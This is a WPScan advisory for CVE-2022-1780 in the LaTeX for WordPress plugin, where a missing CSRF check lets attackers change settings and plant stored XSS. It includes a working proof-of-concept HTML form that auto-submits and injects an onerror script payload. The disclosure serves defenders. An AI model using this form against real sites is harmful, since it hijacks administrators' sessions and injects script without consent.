WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

LaTeX for WordPress <= 3.4.10 - Arbitrary Settings Update via CSRF to Stored XSS

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack which could also lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=latex%2Flatex-admin.php" method="POST">
    <input type="text" name="latex_img_server" value="http://l.wordpress.com/latex.php?bg=ffffff&fg=000000&s=0&latex=">
    <input type="text" name="latex_img_custom_server" value="http://chart.apis.google.com/chart?cht=tx&chl=">
    <input type="text" name="latex_imgcss" value="">
    <input type="text" name="mathjax_server" value="custom">
    <input type="text" name="mathjax_custom_server" value="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
    <input name="latex_mathjax_config" type="text" value="</textarea><img src onerror=alert(/XSS/)>">
    <input type="text" name="update_latex_option" value="Update LaTeX Options">
</form>
<script>
    document.getElementById("test").submit();
</script> 

Affects Plugins

latex
No known fix - plugin closed

References

CVE
CVE-2022-1780

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website
https://daniel-ruf.de
Verified

Yes

WPVDB ID
dd22ea1e-49a9-4b06-8dd9-bb224110f98a

Timeline

Publicly Published

2022-05-23 (about 2 months ago)

Added

2022-05-23 (about 2 months ago)

Last Updated

2022-05-23 (about 2 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us